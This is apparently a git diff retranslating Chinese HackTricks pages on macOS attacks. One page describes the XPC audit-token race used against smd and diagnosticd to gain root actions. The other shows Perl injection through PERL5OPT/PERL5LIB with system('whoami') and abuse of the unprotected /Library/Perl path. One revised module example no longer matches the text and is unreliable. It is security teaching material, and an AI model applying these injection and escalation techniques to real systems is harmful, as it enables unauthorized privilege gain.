* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 你在一家**网络安全公司**工作吗？你想在**HackTricks**中看到你的**公司广告**吗？或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在**推特**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,29 +1,29 @@
|
|||
# macOS xpc\_connection\_get\_audit\_token攻击
|
||||
# macOS xpc\_connection\_get\_audit\_token 攻击
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中看到你的**公司广告**吗？或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 如果你在**网络安全公司**工作，想在**HackTricks**上看到你的**公司广告**，或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
**此技术摘自**[**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
**此技术摘自** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
## Mach消息基本信息
|
||||
## Mach消息基础信息
|
||||
|
||||
如果你不知道Mach消息是什么，请查看以下页面：
|
||||
如果你不知道Mach消息是什么，请先查看此页面：
|
||||
|
||||
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
暂时记住以下内容：\
|
||||
Mach消息通过_mach端口_发送，这是一个内置于mach内核中的**单接收器、多发送器通信**通道。**多个进程可以向mach端口发送消息**，但在任何时刻**只有一个进程可以从中读取**。就像文件描述符和套接字一样，mach端口由内核分配和管理，进程只看到一个整数，它们可以用来指示内核它们想要使用的mach端口。
|
||||
目前需要记住的是：
|
||||
Mach消息通过_mach端口_发送，这是内置在mach内核中的**单一接收者，多个发送者**通信渠道。**多个进程可以向mach端口发送消息**，但在任何时候**只有一个进程可以从中读取**。就像文件描述符和套接字一样，mach端口由内核分配和管理，进程只看到一个整数，他们可以用它来指示内核他们想要使用的mach端口。
|
||||
|
||||
## XPC连接
|
||||
|
||||
|
|
@ -35,102 +35,101 @@ Mach消息通过_mach端口_发送，这是一个内置于mach内核中的**单
|
|||
|
||||
## 漏洞摘要
|
||||
|
||||
你需要知道的是，**XPC的抽象是一对一的连接**，但它是基于一种**可以有多个发送器的技术**构建的：
|
||||
你需要知道的有趣之处在于，**XPC的抽象是一对一连接**，但它基于可以**有多个发送者**的技术，所以：
|
||||
|
||||
* Mach端口是单接收器，_**多发送器**_的。
|
||||
* XPC连接的审计令牌是从最近接收的消息中**复制**的。
|
||||
* 获得XPC连接的**审计令牌**对于许多**安全检查**至关重要。
|
||||
* Mach端口是单一接收者，_**多个发送者**_。
|
||||
* XPC连接的审计令牌是从_**最近收到的消息中复制的**_。
|
||||
* 获取**审计令牌**对于许多**安全检查**至关重要。
|
||||
|
||||
尽管前面的情况听起来很有希望，但在某些情况下，这不会引起问题：
|
||||
尽管之前的情况听起来很有希望，但在某些情况下这不会引起问题：
|
||||
|
||||
* 审计令牌经常用于授权检查，以决定是否接受连接。由于这是使用对服务端口的消息进行的，**尚未建立连接**。在此端口上的更多消息只会被处理为额外的连接请求。因此，**接受连接之前的检查不会受到漏洞的影响**（这也意味着在`-listener:shouldAcceptNewConnection:`中，审计令牌是安全的）。因此，我们正在**寻找验证特定操作的XPC连接**。
|
||||
* XPC事件处理程序是同步处理的。这意味着一个消息的事件处理程序必须在调用下一个消息的事件处理程序之前完成，即使在并发调度队列上也是如此。因此，在**XPC事件处理程序中，审计令牌不能被其他正常（非回复！）消息覆盖**。
|
||||
* 审计令牌通常用于授权检查以决定是否接受连接。由于这是通过向服务端口发送消息来进行的，所以**还没有建立连接**。在此端口上的更多消息将仅作为额外的连接请求处理。因此，在接受连接之前的**任何检查都不会受到影响**（这也意味着在`-listener:shouldAcceptNewConnection:`中的审计令牌是安全的）。因此，我们正在**寻找验证特定操作的XPC连接**。
|
||||
* XPC事件处理程序是同步处理的。这意味着在并发调度队列上，一个消息的事件处理程序必须完成后才能为下一个消息调用它。所以在**XPC事件处理程序内部，审计令牌不能被其他正常（非回复！）消息覆盖**。
|
||||
|
||||
这给我们提供了两种可能的方法：
|
||||
这给了我们两种可能的方法：
|
||||
|
||||
1. 变体1：
|
||||
* **Exploit**连接到服务**A**和服务**B**。
|
||||
* 服务**B**可以调用服务**A**中用户无法调用的**特权功能**。
|
||||
* 服务**A**在**不在**`dispatch_async`的事件处理程序**内部**调用**`xpc_connection_get_audit_token`**。
|
||||
* 因此，一个**不同的消息**可以**覆盖审计令牌**，因为它是在事件处理程序之外异步调度的。
|
||||
* Exploit将**发送权**传递给服务**A**的**SEND right**。
|
||||
* 因此，svc **B**实际上将**发送消息**到服务**A**。
|
||||
* Exploit尝试**调用特权操作**。在一个RC svc **A**中，**检查**此**操作**的授权，而**svc B覆盖了审计令牌**（使得Exploit可以调用特权操作）。
|
||||
* **利用**连接到服务**A**和服务**B**
|
||||
* 服务**B**可以调用用户无法调用的服务**A**中的**特权功能**
|
||||
* 服务**A**在**`dispatch_async`**中调用**`xpc_connection_get_audit_token`**时，_**不**_在事件处理程序内。
|
||||
* 因此，一个**不同的**消息可能会**覆盖审计令牌**，因为它在事件处理程序外异步分派。
|
||||
* 利用将**服务B的SEND权限传递给服务A**。
|
||||
* 因此，服务**B**实际上将**发送**消息给服务**A**。
|
||||
* **利用**尝试**调用**特权操作。在RC中，服务**A**在处理此**操作**时**检查**授权，而服务**B覆盖了审计令牌**（使利用能够调用特权操作）。
|
||||
2. 变体2：
|
||||
* 服务**B**可以调用服务**A**中用户无法调用的**特权功能**。
|
||||
* Exploit连接到**服务A**，**服务A**向其发送一个**期望响应**的消息，使用特定的**回复端口**。
|
||||
* Exploit向**服务B**发送一条消息，传递**该回复端口**。
|
||||
* 当服务**B回复**时，它将消息**发送给服务A**，而**Exploit**则发送一条不同的消息给服务**A**，试图**触发特权功能**，并期望服务**B的回复**在恰当的时刻覆盖审计令牌（竞争条件）。
|
||||
## 变种1：在事件处理程序之外调用xpc_connection_get_audit_token <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
* 服务**B**可以调用用户无法调用的服务**A**中的**特权功能**
|
||||
* 利用连接到**服务A**，后者**发送**期望在特定**回复**端口收到响应的消息给利用。
|
||||
* 利用向**服务B**发送消息，传递**那个回复端口**。
|
||||
* 当服务**B回复**时，它**发送消息给服务A**，**同时**，**利用**发送不同的**消息给服务A**，试图**达到特权功能**，并期望服务B的回复将在完美时刻覆盖审计令牌（竞态条件）。
|
||||
|
||||
## 变体1：在事件处理程序外部调用xpc\_connection\_get\_audit\_token <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
场景：
|
||||
|
||||
* 有两个我们都可以连接的mach服务**A**和**B**（基于沙盒配置文件和接受连接之前的授权检查）。
|
||||
* **A**必须对**B**可以通过的特定操作进行**授权检查**（但我们的应用程序不能）。
|
||||
* 两个mach**服务**_**A**_**和**_**B**_**，我们都可以连接**（基于沙箱配置文件和接受连接前的授权检查）。
|
||||
* _**A**_必须对特定**操作进行授权检查**，而_**B**_**可以通过**（但我们的应用程序不能）。
|
||||
* 例如，如果B具有某些**权限**或以**root**身份运行，它可能允许他要求A执行特权操作。
|
||||
* 对于此授权检查，**A**通过异步方式获取**审计令牌**，例如通过从**`dispatch_async`**调用`xpc_connection_get_audit_token`。
|
||||
* 对于此授权检查，_**A**_**异步获取审计令牌**，例如通过从**`dispatch_async`**调用`xpc_connection_get_audit_token`。
|
||||
|
||||
{% hint style="danger" %}
|
||||
在这种情况下，攻击者可以触发**竞争条件**，制作一个**利用程序**，在**B向A发送消息**的同时**多次要求A执行操作**。当竞争条件**成功**时，**B的审计令牌**将在**我们的利用程序的请求**由A处理时**被复制到内存中**，使其能够访问只有B才能请求的特权操作。
|
||||
在这种情况下，攻击者可以触发一个**竞态条件**，制作一个**利用**，要求A执行操作多次，同时让**B向A发送消息**。当RC**成功**时，**B的审计令牌**将在处理我们**利用**的请求时被复制到内存中，使其**获得只有B才能请求的特权操作的访问权限**。
|
||||
{% endhint %}
|
||||
|
||||
这种情况发生在**A**作为`smd`，**B**作为`diagnosticd`的情况下。可以使用[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)函数从smb安装新的特权助手工具（作为**root**）。如果以**root身份运行的进程**与**smd**联系，将不会执行其他检查。
|
||||
这发生在_**A**_作为`smd`和_**B**_作为`diagnosticd`。函数[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)可以用来安装一个新的特权帮助工具（作为**root**）。如果一个**以root身份运行的进程联系** **smd**，不会执行其他检查。
|
||||
|
||||
因此，服务**B**是`diagnosticd`，因为它以**root**身份运行，并且可以用于**监视**进程，因此一旦开始监视，它将**每秒发送多个消息**。
|
||||
因此，服务**B**是**`diagnosticd`**，因为它以**root**身份运行，可以用来**监控**进程，所以一旦监控开始，它将**每秒发送多条消息**。
|
||||
|
||||
进行攻击的步骤：
|
||||
执行攻击：
|
||||
|
||||
1. 我们按照正常的XPC协议与`smd`建立**连接**。
|
||||
2. 然后，我们与`diagnosticd`建立**连接**，但我们不是生成两个新的mach端口并发送它们，而是用我们与`smd`的连接的**发送权利副本**替换客户端端口发送权利。
|
||||
3. 这意味着我们可以向`diagnosticd`发送XPC消息，但`diagnosticd`发送的任何消息都会发送到`smd`。
|
||||
* 对于`smd`，我们和`diagnosticd`的消息都出现在同一个连接上。
|
||||
1. 我们通过遵循正常的XPC协议建立与**`smd`**的**连接**。
|
||||
2. 然后，我们建立与**`diagnosticd`**的**连接**，但我们没有生成两个新的mach端口并发送它们，而是用我们与`smd`连接的**发送权限的副本替换了客户端端口发送权限**。
|
||||
3. 这意味着我们可以向`diagnosticd`发送XPC消息，但任何**`diagnosticd`发送的消息都会发送给`smd`**。 
|
||||
* 对于`smd`来说，我们和`diagnosticd`的消息看起来都是在同一个连接上到达的。
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
4. 我们要求`diagnosticd`**开始监视**我们（或任何活动的）进程，并且我们向`smd`**垃圾邮件例程1004消息**（以安装特权工具）。
|
||||
5. 这会创建一个需要命中`handle_bless`中非常特定窗口的竞争条件。我们需要`xpc_connection_get_pid`的调用返回我们自己进程的PID，因为特权助手工具位于我们的应用程序包中。但是，`connection_is_authorized`函数内部的`xpc_connection_get_audit_token`调用必须使用`diagnosticd`的审计令牌。
|
||||
4. 我们要求**`diagnosticd`** **开始监控**我们的（或任何活跃的）进程，并且我们**向`smd`发送大量1004消息**（以安装特权工具）。
|
||||
5. 这创建了一个需要在`handle_bless`中击中一个非常特定窗口的竞态条件。我们需要`xpc_connection_get_pid`的调用返回我们自己进程的PID，因为特权帮助工具在我们的应用程序包中。然而，在`connection_is_authorized`函数中的`xpc_connection_get_audit_token`调用必须使用`diagnosticd`的审计令牌。
|
||||
|
||||
## 变种2：回复转发
|
||||
## 变体2：回复转发
|
||||
|
||||
如前所述，对XPC连接上的事件处理程序的处理永远不会同时执行多次。然而，**XPC回复**消息的处理方式不同。有两个用于发送期望回复的消息的函数：
|
||||
如前所述，XPC连接上的事件处理程序从不同时执行多次。然而，**XPC**_**回复**_**消息处理不同**。存在两个发送期望回复的消息的函数：
|
||||
|
||||
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`，在这种情况下，XPC消息在指定的队列上接收和解析。
|
||||
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`，在这种情况下，XPC消息在当前调度队列上接收和解析。
|
||||
|
||||
因此，**XPC回复数据包可能在执行XPC事件处理程序时被解析**。虽然`_xpc_connection_set_creds`使用了锁定，但这仅防止对审计令牌的部分覆盖，它不会锁定整个连接对象，因此有可能在解析数据包和执行其事件处理程序之间**替换审计令牌**。
|
||||
因此，**XPC回复包可能在执行XPC事件处理程序时被解析**。虽然`_xpc_connection_set_creds`确实使用了锁定，但这只能防止审计令牌的部分覆写，它并没有锁定整个连接对象，使得可能在解析包和执行其事件处理程序之间**替换审计令牌**。
|
||||
|
||||
对于这种情况，我们需要：
|
||||
对于这个场景，我们需要：
|
||||
|
||||
* 与之前一样，两个我们都可以连接的mach服务A和B。
|
||||
* 再次，A必须对B可以通过的特定操作进行授权检查（但我们的应用程序不能）。
|
||||
* A向我们发送一个期望回复的消息。
|
||||
* 我们可以向B发送一个它将回复的消息。
|
||||
* 如前所述，两个我们都可以连接的mach服务_A_和_B_。
|
||||
* 同样，_A_必须对特定操作进行授权检查，而_B_可以通过（但我们的应用程序不能）。
|
||||
* _A_向我们发送期望回复的消息。
|
||||
* 我们可以向_B_发送消息，它会回复。
|
||||
|
||||
我们等待A发送一个期望回复的消息（1），而不是回复，我们获取回复端口并将其用于我们发送给B的消息（2）。然后，我们发送一个使用被禁止的操作的消息，并希望它与B的回复同时到达（3）。
|
||||
我们等待_A_向我们发送期望回复的消息（1），而不是回复，我们取回复端口并用它发送消息给_B_（2）。然后，我们发送一个使用禁止操作的消息，并希望它与_B_的回复同时到达（3）。
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## 发现问题
|
||||
|
||||
我们花了很长时间来寻找其他实例，但由于条件的限制，无论是静态搜索还是动态搜索都很困难。为了搜索对`xpc_connection_get_audit_token`的异步调用，我们使用Frida来挂钩此函数，以检查回溯是否包含`_xpc_connection_mach_event`（这意味着它不是从事件处理程序调用的）。但这只能找到我们当前挂钩的进程中的调用和活动使用的操作。在IDA/Ghidra中分析所有可达的mach服务非常耗时，特别是当调用涉及dyld共享缓存时。我们尝试编写脚本来查找从使用`dispatch_async`提交的块和调用中可达的`xpc_connection_get_audit_token`调用，但解析块和传递到dyld共享缓存中的调用使得这变得困难。在花了一段时间后，我们决定最好提交我们已经有的内容。
|
||||
## 修复方法 <a href="#the-fix" id="the-fix"></a>
|
||||
我们花了很长时间试图找到其他实例，但条件使得静态或动态搜索都很困难。为了搜索异步调用`xpc_connection_get_audit_token`，我们使用Frida挂钩这个函数，检查回溯是否包括`_xpc_connection_mach_event`（这意味着它不是从事件处理程序中调用的）。但这只能找到我们当前挂钩的进程中的调用，以及主动使用的操作。在IDA/Ghidra中分析所有可达的mach服务非常耗时，特别是当调用涉及到dyld共享缓存时。我们尝试编写脚本来寻找从使用`dispatch_async`提交的块中可达的`xpc_connection_get_audit_token`调用，但解析块和调用传递到dyld共享缓存也很困难。在此花费了一段时间后，我们决定最好提交我们所拥有的。
|
||||
|
||||
最后，我们报告了`smd`中的一般问题和特定问题。苹果只在`smd`中进行了修复，将`xpc_connection_get_audit_token`的调用替换为`xpc_dictionary_get_audit_token`。
|
||||
## 修复 <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
函数`xpc_dictionary_get_audit_token`从接收到此XPC消息的mach消息中复制审核令牌，这意味着它不容易受到攻击。然而，就像`xpc_dictionary_get_audit_token`一样，这也不是公共API的一部分。对于更高级的`NSXPCConnection` API，没有明确的方法来获取当前消息的审核令牌，因为它将所有消息抽象为方法调用。
|
||||
最终，我们报告了一般问题和`smd`中的具体问题。苹果只在`smd`中修复了它，将`xpc_connection_get_audit_token`的调用替换为`xpc_dictionary_get_audit_token`。
|
||||
|
||||
我们不清楚为什么苹果没有应用更一般的修复方法，例如丢弃与连接的保存的审核令牌不匹配的消息。可能存在某些情况下，进程的审核令牌合法地发生变化，但连接应该保持打开状态（例如，调用`setuid`会更改UID字段），但是不同的PID或PID版本的更改不太可能是有意的。
|
||||
函数`xpc_dictionary_get_audit_token`从接收此XPC消息的mach消息中复制审计令牌，这意味着它不容易受到攻击。然而，就像`xpc_dictionary_get_audit_token`一样，这不是公共API的一部分。对于更高级别的`NSXPCConnection` API，不存在获取当前消息的审计令牌的明确方法，因为这将所有消息抽象为方法调用。
|
||||
|
||||
无论如何，这个问题在iOS 17和macOS 14中仍然存在，所以如果你想去寻找它，祝你好运！
|
||||
我们不清楚为什么苹果没有应用更通用的修复，例如丢弃与连接保存的审计令牌不匹配的消息。可能存在进程的审计令牌合法更改但连接应保持打开的情况（例如，调用`setuid`会更改UID字段），但像不同的PID或PID版本这样的更改不太可能是预期的。
|
||||
|
||||
无论如何，这个问题仍然存在于iOS 17和macOS 14中，所以如果你想去寻找它，祝你好运！
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
* 如果你在**网络安全公司**工作，想在**HackTricks**上看到你的**公司广告**，或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7
|
||||
|
|
|
|||
|
|
@ -1,21 +1,21 @@
|
|||
# macOS Perl应用程序注入
|
||||
# macOS Perl 应用程序注入
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 你在一家**网络安全公司**工作吗？你想在**HackTricks 中看到你的公司广告**吗？或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我。
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## 通过`PERL5OPT`和`PERL5LIB`环境变量
|
||||
## 通过 `PERL5OPT` 和 `PERL5LIB` 环境变量
|
||||
|
||||
使用环境变量PERL5OPT，可以使perl执行任意命令。\
|
||||
例如，创建以下脚本：
|
||||
使用环境变量 PERL5OPT 可以使 perl 执行任意命令。\
|
||||
例如，创建这个脚本：
|
||||
|
||||
{% code title="test.pl" %}
|
||||
```perl
|
||||
|
|
@ -29,28 +29,51 @@ print "Hello from the Perl script!\n";
|
|||
export PERL5OPT='-Mwarnings;system("whoami")'
|
||||
perl test.pl # This will execute "whoami"
|
||||
```
|
||||
另一个选项是创建一个Perl模块（例如`/tmp/pmod.pm`）：
|
||||
```perl
|
||||
package pmod;
|
||||
|
||||
{% code title="/tmp/pmod.pm" %}
|
||||
use strict;
|
||||
use warnings;
|
||||
|
||||
sub new {
|
||||
my $class = shift;
|
||||
my $self = {
|
||||
_perl_path => shift,
|
||||
};
|
||||
|
||||
bless $self, $class;
|
||||
return $self;
|
||||
}
|
||||
|
||||
sub execute {
|
||||
my ($self, $cmd) = @_;
|
||||
system($self->{_perl_path} . " -e '" . $cmd . "'");
|
||||
}
|
||||
|
||||
1;
|
||||
```
|
||||
{% endcode %}
|
||||
```perl
|
||||
#!/usr/bin/perl
|
||||
package pmod;
|
||||
system('whoami');
|
||||
1; # Modules must return a true value
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
然后使用环境变量：
|
||||
```
|
||||
```bash
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||
```
|
||||
## 通过依赖项
|
||||
|
||||
可以列出运行Perl的依赖项文件夹的顺序：
|
||||
可以列出Perl运行的依赖项文件夹顺序：
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
这将返回类似于：
|
||||
将返回类似以下内容：
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
/Library/Perl/5.30
|
||||
|
|
@ -62,15 +85,15 @@ perl -e 'print join("\n", @INC)'
|
|||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
一些返回的文件夹甚至不存在，然而，**`/Library/Perl/5.30`**确实存在，它**没有**被**SIP**保护，并且它位于被SIP保护的文件夹之前。因此，有人可以滥用该文件夹，在其中添加脚本依赖项，以便高权限的Perl脚本加载它。
|
||||
有些返回的文件夹甚至不存在，但是 **`/Library/Perl/5.30`** 确实**存在**，它**没有**被**SIP**保护，并且位于SIP保护的文件夹**之前**。因此，有人可以滥用该文件夹，在其中添加脚本依赖项，以便高权限的Perl脚本将加载它。
|
||||
|
||||
{% hint style="warning" %}
|
||||
然而，请注意，您**需要以root身份写入该文件夹**，而且现在您将会得到这个**TCC提示**：
|
||||
然而，请注意，您**需要以root身份写入该文件夹**，而且现在您会收到这个**TCC提示**：
|
||||
{% endhint %}
|
||||
|
||||
